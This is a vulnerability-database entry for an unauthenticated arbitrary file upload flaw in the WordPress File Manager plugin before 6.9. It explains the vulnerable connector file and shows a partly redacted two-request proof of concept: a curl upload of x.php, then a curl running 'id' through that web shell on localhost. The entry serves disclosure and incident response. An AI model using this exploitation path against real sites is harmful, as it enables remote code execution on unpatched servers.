Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
1

WordPress File Manager Plugin < 6.9 Arbitrary File Upload

Last updated September 04, 2020
Exploited In the Wild
Reported by ccondon-r7
Add any MITRE ATT&CK Tactics to the list below that apply to this CVE.

Description

[We noticed] multiple cases where WordPress sites were breached using 0-day in wp-file-manager (confirmed with v6.8, which was the latest version available in wordpress.org).

File lib/php/connector.minimal.php can be by default opened directly, and this file loads lib/php/elFinderConnector.class.php which reads POST/GET variables, and then allows executing some internal features, like uploading files. PHP is allowed, thus this leads to unauthenticated arbitrary file upload and remote code execution.

Add Assessment

2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

WordPress sites are getting exploited en masse with this vuln. The File Manager plugin is the first result for “file manager” in the WordPress plugin database. No surprise lots of people are installing it, considering its generic name. ~700k by the numbers.

The vuln is trivial to exploit and weaponize, too. If you’re running the plugin, you need to bring in incident response. The edited PoC below shows that the vuln can be exploited in two requests to execute arbitrary PHP code.

wvu@kharak:~$ curl -s http://127.0.0.1:8080/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php [redacted] | jq
{
  "added": [
    {
      "isowner": false,
      "ts": 1599193366,
      "mime": "text/x-php",
      "read": 1,
      "write": 1,
      "size": "35",
      "hash": "l1_eC5waHA",
      "name": "x.php",
      "phash": "l1_Lw",
      "url": "/wp-content/plugins/wp-file-manager/lib/php/../files/x.php"
    }
  ],
  "removed": [],
  "changed": [
    {
      "isowner": false,
      "ts": 1599193366,
      "mime": "directory",
      "read": 1,
      "write": 1,
      "size": 0,
      "hash": "l1_Lw",
      "name": "files",
      "phash": "l1_L3Zhci93d3cvaHRtbC93cC1jb250ZW50L3BsdWdpbnMvd3AtZmlsZS1tYW5hZ2VyL2xpYg",
      "volumeid": "l1_",
      "locked": 1
    }
  ]
}
wvu@kharak:~$ curl http://127.0.0.1:8080/wp-content/plugins/wp-file-manager/lib/files/x.php -d c=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
wvu@kharak:~$

General Information

Additional Info

Technical Analysis